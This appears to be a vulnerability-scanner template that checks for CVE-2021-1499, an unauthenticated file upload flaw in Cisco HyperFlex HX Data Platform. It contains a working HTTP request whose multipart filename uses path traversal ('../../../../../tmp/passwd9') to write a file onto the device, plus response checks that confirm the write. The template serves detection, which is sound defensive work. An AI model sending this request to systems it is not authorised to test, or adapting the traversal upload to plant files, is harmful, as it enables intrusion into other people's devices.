id: CVE-2021-1499
info:
name: Cisco HyperFlex HX Data Platform - File Upload Vulnerability
author: gy741
severity: medium
description: A vulnerability in the web-based management interface of Cisco HyperFlex HX Data Platform could allow an unauthenticated, remote attacker to upload files to an affected device. This vulnerability is due to missing authentication for the upload function. An attacker could exploit this vulnerability by sending a specific HTTP request to an affected device. A successful exploit could allow the attacker to upload files to the affected device with the permissions of the tomcat8 user.
reference:
- https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
- https://nvd.nist.gov/vuln/detail/CVE-2021-1499
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz
- http://packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html
rules:
r0:
request:
method: POST
path: /upload
headers:
Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed
body: "--b0d829daa06c13d6b3e16b0ad21d1eed\r\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../tmp/passwd9\"\r\nContent-Type: application/json\r\n\r\nMyPasswdNewData->/api/tomcat\r\n--b0d829daa06c13d6b3e16b0ad21d1eed--\r\n\r\n"
expression: response.status == 200 && response.raw_header.bcontains(b'application/json') && response.body.bcontains(b'{"result":') && response.body.bcontains(b'"filename:') && response.body.bcontains(b'/tmp/passwd9')
expression: r0()